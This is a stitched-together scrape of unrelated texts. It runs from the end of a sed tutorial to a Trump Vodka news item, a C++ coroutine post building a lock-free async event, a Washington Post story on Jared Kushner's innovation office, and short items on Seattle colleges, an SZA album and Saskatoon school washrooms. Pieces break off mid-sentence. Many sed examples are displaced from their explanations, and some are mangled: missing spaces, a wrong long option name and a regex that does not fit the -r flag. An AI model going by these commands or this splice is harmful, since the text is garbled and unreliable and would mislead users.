The GNU version of sed allows you to use "-i" without an argument. The FreeBSD/Mac OS X does not. You must provide an extension for the FreeBSD/Mac OS X version. If you want to do in-place editing without creating a backup, you can use
sed -i '''s/^/\t/' *.txt
The in-place editing feature is handy to have. But what happens if the file you are editing is a symbolic link to another file? Let's assume you have a file named "b" in a directory called "tmp", with a symbolic link to this file:
$ ls -l b lrwxrwxrwx 1 barnett adm 6 Mar 16 16:03 b.txt -> tmp/b.txt
sed -i --follow-symlinks's/^/\t/' *.txt
If you executed the above command to do in place editing, there will be a new file called "b.txt" in the current directory, and "tmp/b.txt" will be unchanged. Now you have two versions of the file, one is changed (in the current directory), and one is not (in the "tmp" directory). And where you had a symbolic link, it has been replaced with a modified version of the original file. If you want to edit the real file, and keep the symbolic link in place, use the "--follow-symlinks" command line option:This follows the symlink to the original location, and modifies the file in the "tmp" directory, If you specify an extension, the original file will be found with that extension in the same directory ar the real source. Without the --follow-symlinks command line option, the "backup" file "b.tmp" will be in the same directory that held the symbolic link, and will still be a symbolic link - just renamed to give it a new extension.
Unix and Linux systems consider the new line character "
" to be the end of the line. However, MS-DOS, Windows, and Cygwin systems end each line with "\r
" - Carriage return and line-feed. If you are using any of these operating systems, the "-b" or --binary" command line option will treat the carriage return/new line combination as the end of the line. Otherwise the carriage return is treated as an unprintable character immediately before the end-of-line. I think. (Note to self - verify this).
When I mention patterns, such as "s/pattern/", the pattern is a regular expression. There are two common classes of regular expressions, the original "basic" expressions, and the "extended" regular expressions. For more on the differences see My tutorial on regular expressions and the the section on extended regular expressions. Because the meaning of certain characters are different between the regular and extended expressions, you need a command line argument to enable sed to use the extension. To enable this extension, use the "-r" command, as mentioned in the example on finding duplicated words on a line
sed -r -n '/\([a-z]+\) \1/p'
or
sed --regular-extended -quiet '/\([a-z]+\) \1/p'
I already mentioned that Mac OS X and FreeBSD uses -E instead of -r.
Normally - Unix and Linux systems apply some intelligence to handling standard output. It's assumed that if you are sending results to a terminal, you want the output as soon as it becomes available. However, if you are sending the output to a file, then it's assumed you want better performance, so it buffers the output until the buffer is full, and then the contents of the buffer is written to the file. Let me elaborate on this. Let's assume for this example you have a very large file, and you are using sed to search for a string, and to print it when it is found:
sed -n '/MATCH/p' <file
#!/bin/sh for i in `seq 1 60` do echo $i sleep 1 done
SlowText | sed -n '/1/p' | awk '{print $1*$1}'
SlowText | sed -un '/1/p' | awk '{print $1*$1}'
Since the output is the terminal, as soon as a match is found, it is printed. However, if sed pipes its output to another program, it will buffer the results. But there are times when you want immediate results. This is especially true when you are dealing with large files, or files that occasionally generate data. To summarize, you have lots of input data, and you want sed to process it, and then send this to another program that processes the results, but you want the results when it happens, and not delayed. Let me make up a simple example. It's contrived, but it does explain how this works. Here's a program called SlowText that prints numbers from 1 to 60, once a second:Let's use sed to search for lines that have the character '1', and have it send results to awk, which will calculate the square of that number. This would be the admittedly contrived script:This works, but because sed is buffering the results, we have to wait until the buffer fills up, or until the SlowText program exists, before we the results. You can eliminate the buffering, and see the results as soon as SlowText outputs them, by using the "-u" option. With this option, you will see the squares printed as soon as possible:
The long form of the argument is "--unbuffered".
Mac OS X and FreeBSD use the argument "-l".
GNU Sed 4.2.2 and later will also be unbuffered while reading files, not just writing them.
Normally, sed reads a line by reading a string of characters up to the end-of-line character (new line or carriage return). See the -b Binary command line argument The GNU version of sed added a feature in version 4.2.2 to use the "NULL" character instead. This can be useful if you have files that use the NULL as a record separator. Some GNU utilities can genertae output that uses a NULL instead a new line, such as "find. -print0" or "grep -lZ". This feature is useful if you are operating on filenames that might contain spaces or binary characters.
For instance, if you wanted to use "find" to search for files and you used the "-print0" option to print a NULL at the end of each filename, you could use sed to delete the directory pathname:
find. -type f -print0 | sed -z's:^.*/::' | xargs -0 echo
The above example is not terribly useful as the "xargs" use of echo does not retain the ability to retain spaces as part of the filename. But is does show how to use the sed "-z" command.
GNU grep also has a -Z option to search for strings in files, placing a "NULL" at the end of each filename instead of a new line. And with the -l command, grep will print the filename that contains the string, retaining non-printing and binary characters:
grep -lZ STRING */*/* | sed -z's:^.*/::' | xargs -0 echo
This feature is very useful when users have the ability to create their own filenames.
Apple uses the FreeBSD version of sed for Mac OS X instead of the GNU sed. However, the FreeBSD version has a couple of additions.
Normally, as soon as sed starts up, it opens all files that are refered to by the "w" command. The FreeBSD version of sed has an option to delay this action until the "w" command is executed.
FreeBSD added a "-I" option that is similar to the -i option. The "-i" option treats the editing each file as a separate instance of sed. If the "-I" option is used, then line numbers do not get reset at the beginning of each line, and ranges of addresses continue from one file to the next. That is, if you used the range '/BEGIN/,/END/' and you used the "-I" option, you can have the "BEGIN" in the first file, and "END" in the second file, and the commands executed within the range would span both files. If you used "-i", then the commands would not.
And like the -i option, the extension used to store the backup file must be specified.
I mentioned extended regular expressions earlier. FreeBSD (and Mac OS X) uses "-E" to enable this. However, FreeBSD later added the -r command to be compatible with GNU sed.
Someone once asked me to help them solve a tricky sed problem involving word boundaries. Let's suppose you have the following input
/usr/bin /usr/local/bin /usr/local /usr/local/project/bin
and you wanted to delete '/usr/local' but leave the other 3 paths alone. You could use the simple (and incorrect) command:
sed's@/usr/local@@'
which would output
/usr/bin /bin /usr/local /usr/local/project/bin
That is, it would mistakenly change '/usr/local/bin' to '/bin' and not delete '/usr/local' which was the intention of the programmer. The better method is to include spaces around the search:
sed's@ /usr/local @ @'
However, this won't work if '/usr/local' is at the beginning, or at the end of the line. It also won't work if '/usr/local' is the only path on the line. To handle these edge cases, you can simply describe all of these conditions as separate cases:
#!/bin/sh sed's@ /usr/local @ @g s@^/usr/local @@ s@ /usr/local$@@ s@^/usr/local$@@ '
This works fine if the string you are searching for is surrounded by a space. But what happens if the string is surrounded by other characters, which may be one of several possible characters? You can always make up your own class of characters that define the 'end of a word'; For instance, if your string consists of alphanumeric characters and the slash, the class of characters can be defined by '[a-zA-Z0-9/]' or the more flexible '[[:alnum:]/]'. We can define the class fo characters to be all but these, by using the caret, i.e. '[^[:alnum:]/]'. And unlike the space before, if you are going to use character classes, you may have to remember what these characters are and not delete them. So we can replace the space with '[^[:alnum:]/]' and then change the command to be
#!/bin/sh sed's@\([^[:alnum:]/]\)/usr/local\([^[:alnum:]/]\)@\1\2@g s@^/usr/local\([^[:alnum:]/]\)@\1@ s@\([^[:alnum:]/]\)/usr/local$@\1@ s@^/usr/local$@@ '
The first version would replace'/usr/local'with a single space. This method would replace ':/usr/local:' with '::' - because the redundant deliniators are not deleted. Be sure to fix this if you need to.
This method always works, but it is inelegant and error prone. There are other methods, but they may not be portable. Solaris's version of sed used the special characters ‘\<’ and ‘\>’ as anchors that indicated a word boundary. So you could use
s@\</usr/local\>@@
However, the GNU version of sed says the usage of these special characters are undefined. According to the manual page:
Regex syntax clashes (problems with backslashes) `sed' uses the POSIX basic regular expression syntax. According to the standard, the meaning of some escape sequences is undefined in this syntax; notable in the case of `sed' are `\|', `\+', `\?', `\`', `\'', `\<', `\>', `\b', `\B', `\w', and `\W'. As in all GNU programs that use POSIX basic regular expressions, `sed' interprets these escape sequences as special characters. So, `x\+' matches one or more occurrences of `x'. `abc\|def' matches either `abc' or `def'.
When in doubt, experiment.
As I promised earlier, here is a table that summarizes the different commands. The second column specifies if the command can have a range or pair of addresses or a single address or pattern. The next four columns specifies which of the four buffers or streams are modified by the command. Some commands only affect the output stream, others only affect the hold buffer. If you remember that the pattern space is output (unless a "-n" was given to sed), this table should help you keep track of the various commands.
Command Address or Range Modification to
Input Stream Modification to
Output Stream Modification to
Pattern Space Modification to
Hold Buffer = - - Y - - a Address - Y - - b Range - - - - c Range - Y - - d Range Y - Y - D Range Y - Y - g Range - - Y - G Range - - Y - h Range - - - Y H Range - - - Y i Address - Y - - l Address - Y - - n Range Y * - - N Range Y - Y - p Range - Y - - P Range - Y - - q Address - - - - r Address - Y - - s Range - - Y - t Range - - - - w Range - Y - - x Range - - Y Y y Range - - Y -
The "n" command may or may not generate output, depending on the "-n" option. The "r" command can only have one address, despite the documentation.
Check out my new Sed Reference Chart
This concludes my tutorial on sed. It is possible to find shorter forms of some of my scripts. However, I chose these examples to illustrate some basic constructs. I wanted clarity, not obscurity. I hope you enjoyed it.
This concludes my tutorial on sed. Other of my UNIX shell tutorials can be found here. Other shell tutorials and references can be found at
This document was originally converted from NROFF to TEXT to HTML.
Please forgive errors in the translation.
If you are confused, grab the actual script if possible. No translations occurred in the scripts.
Thanks to Keelan Evans, Fredrik Nilsson, and Kurt McKee for spotting some typos.
Thanks to Wim Stolker and Jose' Sebrosa as well.
Thanks to Olivier Mengue.
Thanks to Andrew M. Goth.
Thanks to David P. Brown.
Thanks to Axel Schulze for some corrections
Thanks to Martin Jan for the corrections in sed format (grin)
Thanks to David Ward for some corrections
A big thanks for Fazl Rahman for spotting dozens of errors.
Thanks to Carl Henrik Lunde who suggested an improvement to convert2uc1.sh
A big thanks to Bryan Hyun Huh who spotted an error in the table and reference chart
Thanks for input from
Marten Jan Gordon Wilson Tom Konantz Peter Bratton Grant Root Keith Briggs Zoltan Miklos Peggy Russell Lorens Kockkum.net John Poulin Rihards Corey Richardson Eric Mathison Ildar Mulyukov Tom Zhu Abhijeet Rastogi @shadyabhi Steve LeBlanc @sleveo dontforget yourtowel @whatissixbynine Yiming Fei Wang Kenneth R. Beesley Duncan Sung W. Kim @DuncanSungWKim Juan Eugenio Abadie Zander Hill @_ZPH Rob Smith Peter Moore
This document was translated by troff2html v0.21 on September 22, 2001 and then manually edited to make it compliant with:Looking for news you can trust?
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Until the election, we’re bringing you “The Trump Files,” a daily dose of telling episodes, strange but true stories, or curious scenes from the life of presumptive GOP nominee Donald Trump.
If you’ve been following the news about Donald Trump’s charity donations, this is going to come as no surprise: Trump seems to never have followed through on a pledge to donate the profits from sales of his Trump Vodka to charity.
Trump frequently made such pledges while hawking products like “Trump: The Game,” his 2015 campaign book Crippled America, and his infamous Trump University, but there’s no evidence that he ever gave the money he promised to charities. The case of Trump Vodka, however, has an added, poignant twist.
Trump’s older brother, Fred C. Trump, Jr., was an alcoholic who died in 1981 at just 42 years old. Donald has spoken about how his brother’s death deeply affected him. “He had a profound impact on my life, because you never know where you’re going to end up,” he said to People last year. Trump is a famous teetotaler in part because of his brother’s warnings to him about the dangers of alcohol.
So when Trump signed up to promote his own line of vodka (especially to Russian millionaires), he had misgivings. “I sort of hated doing it,” he said in 2005 on his syndicated national radio segment, Trumped!, according to transcripts published by the Wall Street Journal. “I thought about it and what I’ve decided to do is donate any and all money that I make from alcoholic beverages to Mothers Against Drunk Drivers [sic]. I’m going to give 100 percent of that money to them in honor of my late brother, Fred Trump. I guarantee you that Fred is looking down now and saying, ‘That’s really the best thing to do.'”
Except that Mothers Against Drunk Driving doesn’t take donations from alcohol sales, as the group explained to the Huffington Post. In fact, it doesn’t seem he donated the profits to any charity after MADD rebuffed him. “Despite Trump’s promises, there appears to be no record he donated money from Trump Vodka to charity,” HuffPost wrote in June. Trump did, however, sue Drinks Americas, the company that licensed his name, in a New York federal court for $4.8 million dollars (plus interest) he claimed he was owed from the deal. The court dismissed the case, saying it didn’t have jurisdiction.
As for Trump Vodka, the brand started collapsing along with the economy in 2008, according to Bloomberg. Sales declined, Drinks Americas’ credit dried up, Trump Vodka’s distiller went bankrupt, and the booze is no longer sold in the US. But it does live on in Israel, where it’s a dubiously kosher-for-Passover backup option.
Read the rest of “The Trump Files”:Image caption Kent Police said it was impartial and wanted to minimise disruption
Thirteen people have been arrested in Dover amid concern an immigration protest and counter
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need to store some per-operation state that keeps track of the progress of the operation. This state typically needs to last for the duration of the operation and should only be freed once the operation has completed.
For example, calling async Win32 I/O functions requires you to allocate and pass a pointer to an OVERLAPPED structure. The caller is responsible for ensuring this pointer remains valid until the operation completes.
With traditional callback-based APIs this state would typically need to be allocated on the heap to ensure it has the appropriate lifetime. If you were performing many operations, you may need to allocate and free this state for each operation. If performance is an issue then a custom allocator may be used that allocates these state objects from a pool.
However, when we are using coroutines we can avoid the need to heap-allocate storage for the operation state by taking advantage of the fact that local variables within the coroutine frame will be kept alive while the coroutine is suspended.
By placing the per-operation state in the Awaiter object we can effectively “borrow” memory from the coroutine frame for storing the per-operation state for the duration of the co_await expression. Once the operation completes, the coroutine is resumed and the Awaiter object is destroyed, freeing that memory in the coroutine frame for use by other local variables.
Ultimately, the coroutine frame may still be allocated on the heap. However, once allocated, a coroutine frame can be used to execute many asynchronous operations with only that single heap allocation.
If you think about it, the coroutine frame acts as a kind of really high-performance arena memory allocator. The compiler figures out at compile time the total arena size it needs for all local variables and is then able to allocate this memory out to local variables as required with zero overhead! Try beating that with a custom allocator ;)
An example: Implementing a simple thread-synchronisation primitive
Now that we’ve covered a lot of the mechanics of the co_await operator, I want to show how to put some of this knowledge into practice by implementing a basic awaitable synchronisation primitive: An asynchronous manual-reset event.
The basic requirements of this event is that it needs to be Awaitable by multiple concurrently executing coroutines and when awaited needs to suspend the awaiting coroutine until some thread calls the.set() method, at which point any awaiting coroutines are resumed. If some thread has already called.set() then the coroutine should continue without suspending.
Ideally we’d also like to make it noexcept, require no heap allocations and have a lock-free implementation.
Edit 2017/11/23: Added example usage for async_manual_reset_event
Example usage should look something like this:
T value ; async_manual_reset_event event ; // A single call to produce a value void producer () { value = some_long_running_computation (); // Publish the value by setting the event. event. set (); } // Supports multiple concurrent consumers task <> consumer () { // Wait until the event is signalled by call to event.set() // in the producer() function. co_await event ; // Now it's safe to consume 'value' // This is guaranteed to 'happen after' assignment to 'value' std :: cout << value << std :: endl ; }
Let’s first think about the possible states this event can be in: ‘not set’ and ‘set’.
When it’s in the ‘not set’ state there is a (possibly empty) list of waiting coroutines that are waiting for it to become ‘set’.
When it’s in the ‘set’ state there won’t be any waiting coroutines as coroutines that co_await the event in this state can continue without suspending.
This state can actually be represented in a single std::atomic<void*>.
Reserve a special pointer value for the ‘set’ state. In this case we’ll use the this pointer of the event since we know that can’t be the same address as any of the list items.
pointer of the event since we know that can’t be the same address as any of the list items. Otherwise the event is in the ‘not set’ state and the value is a pointer to the head of a singly linked-list of awaiting coroutine structures.
We can avoid extra calls to allocate nodes for the linked-list on the heap by storing the nodes within an ‘awaiter’ object that is placed within the coroutine frame.
So let’s start with a class interface that looks something like this:
class async_manual_reset_event { public : async_manual_reset_event ( bool initiallySet = false ) noexcept ; // No copying/moving async_manual_reset_event ( const async_manual_reset_event & ) = delete ; async_manual_reset_event ( async_manual_reset_event && ) = delete ; async_manual_reset_event & operator = ( const async_manual_reset_event & ) = delete ; async_manual_reset_event & operator = ( async_manual_reset_event && ) = delete ; bool is_set () const noexcept ; struct awaiter ; awaiter operator co_await () const noexcept ; void set () noexcept ; void reset () noexcept ; private : friend struct awaiter ; // - 'this' => set state // - otherwise => not set, head of linked list of awaiter*. mutable std :: atomic < void *> m_state ; };
Here we have a fairly straight-forward and simple interface. The main thing to note at this point is that it has an operator co_await() method that returns an, as yet, undefined type, awaiter.
Let’s define the awaiter type now.
Defining the Awaiter
Firstly, it needs to know which async_manual_reset_event object it is going to be awaiting, so it will need a reference to the event and a constructor to initialise it.
It also needs to act as a node in a linked-list of awaiter values so it will need to hold a pointer to the next awaiter object in the list.
It also needs to store the coroutine_handle of the awaiting coroutine that is executing the co_await expression so that the event can resume the coroutine when it becomes ‘set’. We don’t care what the promise type of the coroutine is so we’ll just use a coroutine_handle<> (which is short-hand for coroutine_handle<void> ).
Finally, it needs to implement the Awaiter interface, so it needs the three special methods: await_ready, await_suspend and await_resume. We don’t need to return a value from the co_await expression so await_resume can return void.
Once we put all of that together, the basic class interface for awaiter looks like this:
struct async_manual_reset_event :: awaiter { awaiter ( const async_manual_reset_event & event ) noexcept : m_event ( event ) {} bool await_ready () const noexcept ; bool await_suspend ( std :: experimental :: coroutine_handle <> awaitingCoroutine ) noexcept ; void await_resume () noexcept {} private : const async_manual_reset_event & m_event ; std :: experimental :: coroutine_handle <> m_awaitingCoroutine ; awaiter * m_next ; };
Now, when we co_await an event, we don’t want the awaiting coroutine to suspend if the event is already set. So we can define await_ready() to return true if the event is already set.
bool async_manual_reset_event :: awaiter :: await_ready () const noexcept { return m_event. is_set (); }
Next, let’s look at the await_suspend() method. This is usually where most of the magic happens in an awaitable type.
First it will need to stash the coroutine handle of the awaiting coroutine into the m_awaitingCoroutine member so that the event can later call.resume() on it.
Then once we’ve done that we need to try and atomically enqueue the awaiter onto the linked list of waiters. If we successfully enqueue it then we return true to indicate that we don’t want to resume the coroutine immediately, otherwise if we find that the event has concurrently been changed to the ‘set’ state then we return false to indicate that the coroutine should be resumed immediately.
bool async_manual_reset_event :: awaiter :: await_suspend ( std :: experimental :: coroutine_handle <> awaitingCoroutine ) noexcept { // Special m_state value that indicates the event is in the'set' state. const void * const setState = & m_event ; // Remember the handle of the awaiting coroutine. m_awaitingCoroutine = awaitingCoroutine ; // Try to atomically push this awaiter onto the front of the list. void * oldValue = m_event. m_state. load ( std :: memory_order_acquire ); do { // Resume immediately if already in'set' state. if ( oldValue == setState ) return false ; // Update linked list to point at current head. m_next = static_cast < awaiter *> ( oldValue ); // Finally, try to swap the old list head, inserting this awaiter // as the new list head. } while (! m_event. m_state. compare_exchange_weak ( oldValue, this, std :: memory_order_release, std :: memory_order_acquire )); // Successfully enqueued. Remain suspended. return true ; }
Note that we use ‘acquire’ memory order when loading the old state so that if we read the special ‘set’ value then we have visibility of writes that occurred prior to the call to ‘set()’.
We require ‘release’ sematics if the compare-exchange succeeds so that a subsequent call to ‘set()’ will see our writes to m_awaitingCoroutine and prior writes to the coroutine state.
Filling out the rest of the event class
Now that we have defined the awaiter type, let’s go back and look at the implementation of the async_manual_reset_event methods.
First, the constructor. It needs to initialise to either the ‘not set’ state with the empty list of waiters (ie. nullptr ) or initialise to the ‘set’ state (ie. this ).
async_manual_reset_event :: async_manual_reset_event ( bool initiallySet ) noexcept : m_state ( initiallySet? this : nullptr ) {}
Next, the is_set() method is pretty straight-forward - it’s ‘set’ if it has the special value this :
bool async_manual_reset_event :: is_set () const noexcept { return m_state. load ( std :: memory_order_acquire ) == this ; }
Next, the reset() method. If it’s in the ‘set’ state we want to transition back to the empty-list ‘not set’ state, otherwise leave it as it is.
void async_manual_reset_event :: reset () noexcept { void * oldValue = this ; m_state. compare_exchange_strong ( oldValue, nullptr, std :: memory_order_acquire ); }
With the set() method, we want to transition to the ‘set’ state by exchanging the current state with the special ‘set’ value, this, and then examine what the old value was. If there were any waiting coroutines then we want to resume each of them sequentially in turn before returning.
void async_manual_reset_event :: set () noexcept { // Needs to be'release' so that subsequent 'co_await' has // visibility of our prior writes. // Needs to be 'acquire' so that we have visibility of prior // writes by awaiting coroutines. void * oldValue = m_state. exchange ( this, std :: memory_order_acq_rel ); if ( oldValue!= this ) { // Wasn't already in'set' state. // Treat old value as head of a linked-list of waiters // which we have now acquired and need to resume. auto * waiters = static_cast < awaiter *> ( oldValue ); while ( waiters!= nullptr ) { // Read m_next before resuming the coroutine as resuming // the coroutine will likely destroy the awaiter object. auto * next = waiters -> m_next ; waiters -> m_awaitingCoroutine. resume (); waiters = next ; } } }
Finally, we need to implement the operator co_await() method. This just needs to construct an awaiter object.
async_manual_reset_event :: awaiter async_manual_reset_event :: operator co_await () const noexcept { return awaiter { * this }; }
And there we have it. An awaitable asynchronous manual-reset event that has a lock-free, memory-allocation-free, noexcept implementation.
If you want to have a play with the code or check out what it compiles down to under MSVC and Clang have a look at the source on godbolt.
You can also find an implementation of this class available in the cppcoro library, along with a number of other useful awaitable types such as async_mutex and async_auto_reset_event.
Closing Off
This post has looked at how the operator co_await is implemented and defined in terms of the Awaitable and Awaiter concepts.
It has also walked through how to implement an awaitable async thread-synchronisation primitive that takes advantage of the fact that awaiter objects are allocated on the coroutine frame to avoid additional heap allocations.
I hope this post has helped to demystify the new co_await operator for you.
In the next post I’ll explore the Promise concept and how a coroutine-type author can customise the behaviour of their coroutine.
Thanks
I want to call out special thanks to Gor Nishanov for patiently and enthusiastically answering my many questions on coroutines over the last couple of years.
And also to Eric Niebler for reviewing and providing feedback on an early draft of this post.President Trump plans to unveil a new White House office on Monday with sweeping authority to overhaul the federal bureaucracy and fulfill key campaign promises — such as reforming care for veterans and fighting opioid addiction — by harvesting ideas from the business world and, potentially, privatizing some government functions.
The White House Office of American Innovation, to be led by Jared Kushner, the president’s son-in-law and senior adviser, will operate as its own nimble power center within the West Wing and will report directly to Trump. Viewed internally as a SWAT team of strategic consultants, the office will be staffed by former business executives and is designed to infuse fresh thinking into Washington, float above the daily political grind and create a lasting legacy for a president still searching for signature achievements.
“All Americans, regardless of their political views, can recognize that government stagnation has hindered our ability to properly function, often creating widespread congestion and leading to cost overruns and delays,” Trump said in a statement to The Washington Post. “I promised the American people I would produce results, and apply my ‘ahead of schedule, under budget’ mentality to the government.”
In a White House riven at times by disorder and competing factions, the innovation office represents an expansion of Kushner’s already far-reaching influence. The 36-year-old former real estate and media executive will continue to wear many hats, driving foreign and domestic policy as well as decisions on presidential personnel. He also is a shadow diplomat, serving as Trump’s lead adviser on relations with China, Mexico, Canada and the Middle East.
[Jared Kushner proves to be a shadow diplomat on U.S.-Mexico talks]
Jared Kushner, President Trump’s senior adviser and son-in-law, center, arrives for a Feb. 15 event at the White House with wife, Ivanka, left, and Gary Cohn, director of the National Economic Council, right. (Jabin Botsford/The Washington Post)
The work of White House chief strategist Stephen K. Bannon has drawn considerable attention, especially after his call for the “deconstruction of the administrative state.” But Bannon will have no formal role in the innovation office, which Trump advisers described as an incubator of sleek transformation as opposed to deconstruction.
The announcement of the new office comes at a humbling moment for the president, following Friday’s collapse of his first major legislative push — an overhaul of the health-care system, which Trump had championed as a candidate.
Kushner is positioning the new office as “an offensive team” — an aggressive, nonideological ideas factory capable of attracting top talent from both inside and outside of government, and serving as a conduit with the business, philanthropic and academic communities.
“We should have excellence in government,” Kushner said Sunday in an interview in his West Wing office. “The government should be run like a great American company. Our hope is that we can achieve successes and efficiencies for our customers, who are the citizens.”
The innovation office has a particular focus on technology and data, and it is working with such titans as Apple chief executive Tim Cook, Microsoft founder Bill Gates, Salesforce chief executive Marc Benioff and Tesla founder and chief executive Elon Musk. The group has already hosted sessions with more than 100 such leaders and government officials.
“There is a need to figure out what policies are adding friction to the system without accompanying it with significant benefits,” said Stephen A. Schwarzman, chief executive of the investment firm Blackstone Group. “It’s easy for the private sector to at least see where the friction is, and to do that very quickly and succinctly.”
Some of the executives involved have criticized some of Trump’s policies, such as his travel ban, but said they are eager to help the administration address chronic problems.
1 of 83 Full Screen Autoplay Close Skip Ad × See what President Trump has been doing since his inauguration View Photos The new president met with business leaders the day after swearing in senior members of his White House staff. Caption The beginning of the president’s term has featured controversial executive orders and frequent conflicts with the media. March 17, 2017 President Donald Trump, first lady Melania Trump and their son, Barron, walk to Marine One at the White House en route to Mar-a-Lago in Palm Beach, Fla. Jabin Botsford/The Washington Post Buy Photo Wait 1 second to continue.
“Obviously it has to be done with corresponding values and principles. We don’t agree on everything,” said Benioff, a Silicon Valley billionaire who raised money for Democrat Hillary Clinton’s 2016 campaign.
But, Benioff added, “I’m hopeful that Jared will be collaborative with our industry in moving this forward. When I talk to him, he does remind me of a lot of the young, scrappy entrepreneurs that I invest in in their 30s.”
Kushner’s ambitions for what the new office can achieve are grand. At least to start, the team plans to focus its attention on reimagining Veterans Affairs; modernizing the technology and data infrastructure of every federal department and agency; remodeling workforce-training programs; and developing “transformative projects” under the banner of Trump’s $1 trillion infrastructure plan, such as providing broadband Internet service to every American.
In some cases, the office could direct that government functions be privatized, or that existing contracts be awarded to new bidders.
The office will also focus on combating opioid abuse, a regular emphasis for Trump on the campaign trail. The president later this week plans to announce an official drug commission devoted to the problem that will be chaired by New Jersey Gov. Chris Christie (R). He has been working informally on the issue for several weeks with Kushner, despite reported tension between the two.
Under President Barack Obama, Trump advisers said scornfully, some business leaders privately dismissed their White House interactions as “NATO” meetings — “No action, talk only” — in which they were “lectured,” without much follow-up.
Andrew Liveris, chairman and chief executive of Dow Chemical, who has had meetings with the two previous administrations, said the environment under Trump is markedly different.
After he left a recent meeting of manufacturing chief executives with Trump, Liveris said, “Rather than entering a vacuum, I’m getting emails from the president’s team, if not every day, then every other day — ‘Here’s what we’re working on.’ ‘We need another meeting.’ ‘Can you get us more input on this?’ ”
[Inside Trump’s fury: The president rages at leaks, setbacks and accusations]
Kushner proudly notes that most of the members of his team have little-to-no political experience, hailing instead from the world of business. They include Gary Cohn, director of the National Economic Council; Chris Liddell, assistant to the president for strategic initiatives; Reed Cordish, assistant to the president for intergovernmental and technology initiatives; Dina Powell, senior counselor to the president for economic initiatives and deputy national security adviser; and Andrew Bremberg, director of the Domestic Policy Council.
Ivanka Trump, the president’s elder daughter and Kushner’s wife, who now does her advocacy work from a West Wing office, will collaborate with the innovation office on issues such as workforce development but will not have an official role, aides said.
Powell, a former Goldman Sachs executive who spent a decade at the firm managing public-private job creation programs, also boasts a government pedigree as a veteran of George W. Bush’s White House and State Department. Bremberg also worked in the Bush administration. But others are political neophytes.
Liddell, who speaks with an accent from his native New Zealand, served as chief financial officer for General Motors, Microsoft and International Paper, as well as in Hollywood for William Morris Endeavor.
“We are part of the White House team, connected with everyone here, but we are not subject to the day-to-day issues, so we can take a more strategic approach to projects,” Liddell said.
Like Kushner, Cordish is the scion of a real estate family — a Baltimore-based conglomerate known for developing casinos and shopping malls. And Cohn, a Democrat who has recently amassed significant clout in the White House, is the hard-charging former president of Goldman Sachs.
Trump’s White House is closely scrutinized for its always-evolving power matrix, and the innovation office represents a victory for Wall Street figures such as Cohn who have sought to moderate Trump’s agenda and project a friendly front to businesses, sometimes in conflict with the more hard-line conservatism championed by Bannon and Chief of Staff Reince Priebus.
[Inside Trump’s White House, New York moderates spark infighting and suspicion]
The innovation group has been meeting twice a week in Kushner’s office, just a few feet from the Oval Office, largely barren but for a black-and-white photo of his paternal grandparents — both Holocaust survivors — and a marked-up whiteboard more typical of tech start-ups. Kushner takes projects and decisions directly to the president for sign-off, though Trump also directly suggests areas of personal interest.
There could be friction as the group interacts with myriad federal agencies, though the advisers said they did not see themselves as an imperious force dictating changes but rather as a “service organization” offering solutions.
Kushner’s team is being formalized just as the Trump administration is proposing sweeping budget cuts across many departments, and members said they would help find efficiencies.
“The president’s doing what is necessary to have a prudent budget, and that makes an office like this even more vital as we need to get more out of less dollars by doing things smarter, doing things better, and by leaning on the private sector,” Cordish said.
Ginni Rometty, the chairman and chief executive of IBM, said she is encouraged: “Jared is reaching out and listening to leaders from across the business community — not just on day-to-day issues, but on long-term challenges like how to train a modern workforce and how to apply the latest innovations to government operations.”
Trump sees the innovation office as a way to institutionalize what he sometimes did in business, such as helping New York City’s government renovate the floundering Wollman Rink in Central Park, said Hope Hicks, the president’s longtime spokeswoman.
“He recognized where the government has struggled with certain projects and he was someone in the private sector who was able to come in and bring the resources and creativity needed and ultimately execute in an efficient, cost-effective, way,” Hicks said. “In some respects, this is an extension of some of the highlights of the president’s career.”A A
SEATTLE - Seattle's three community colleges are losing the "community."
The district's board voted unanimously to change the names to Seattle Central College, South Seattle College and North Seattle College.
The change was approved Thursday by the board of the Seattle Community Colleges District, which will now be known as Seattle Colleges.
"The decision came after a year-long exploration of national and statewide trends; opinion surveys of students, employees and community partners; and consultation with business and civic leaders and representatives from Seattle Public Schools," Susan Kostick, Interim Communications Director, Seattle Colleges said.
All three now offer a bachelor's degree in applied science, with additional third- and fourth-year coursework for students who have completed a two-year technical degree. In the past, that two-year degree was as far as those students could go.
The district's name changes are expected to go into effect by September.Fans have been waiting forever for SZA’s debut album Ctrl to come out. It’s finally arriving at the end of the week, and the TDE-affiliated R&B singer has just revealed the LP’s tracklist on social media. It’ll feature guest appearances from Kendrick Lamar, Isaiah Rashad, Travis Scott, and James Fauntleroy, and the song that Kendrick is on, “Doves In The Wind,” is apparently all about vaginas, as SZA announced in an interview with Entertainment Weekly last month. Find CTRL’s full tracklist below.
01 “Supermodel”
02 “Love Galore” (Feat. Travis Scott)
03 “Doves In The Wind” (Feat. Kendrick Lamar)
04 “Drew Barrymore”
05 “Prom”
06 “The Weekend”
07 “Go Gina”
08 “Garden (Say It Like Dat)”
09 “Broken Clocks”
10 “Anything”
11 “Wavy (Interlude)” (Feat. James Fauntleroy)
12 “Normal Girl”
13 “Pretty Little Birds” (Feat. Isaiah Rashad)
14 “20 Something”
Ctrl is out 6/9 on TDE/RCA.Rights advocates in Saskatoon are praising the provincial government for its decision to include gender-neutral bathrooms in the province’s new joint-use schools.
Set to open in September 2017, the 18 joint-use schools are part of a $635 million public-private partnership (P3) aimed at addressing rapid growth in the province.
“It’s a sign of the times and it’s definitely progress that facilities are starting to match the students that actually embody these schools,” said Out Saskatoon education co-ordinator Amanda Guthrie.
“Transgender and gender-diverse students have always been attending school, but the facilities haven’t always been matching them (or) accommodating their needs.”
Guthrie noted the washrooms are important from a safety perspective, as gender-segregated bathrooms create spaces where bullying may occur. She said in some cases, students will avoid using the restroom or will travel to a nearby convenience store or walk home to use the facilities, causing stress and anxiety in the classroom.
“Having facilities that match the needs of students is going to make those schools a better learning environment for those students,” she said.
The gender-neutral bathrooms at the joint-use schools will be a single-use bathroom, equipped with a toilet and a sink. School divisions will be responsible for making designations of washroom facilities at their schools.
The Government of Saskatchewan has asked all divisions to ensure there are gender-neutral washrooms in all schools. Kevin Gabel, executive director of programs for the Ministry of Education, said it’s part of an effort to ensure all students are welcome.
“It’s all about learning. We take a student-first approach to education in the province,” he said. “If a student feels included, welcomed and supported, they’re going to focus on learning and be more successful.”
Gabel said gender-neutral bathrooms were planned “right from the beginning.” He said the ministry worked with all five school divisions involved in the P3 build on the design of the washrooms in the new joint-use schools.
He noted the province has not heard any concerns about the inclusion of the gender-neutral facilities.
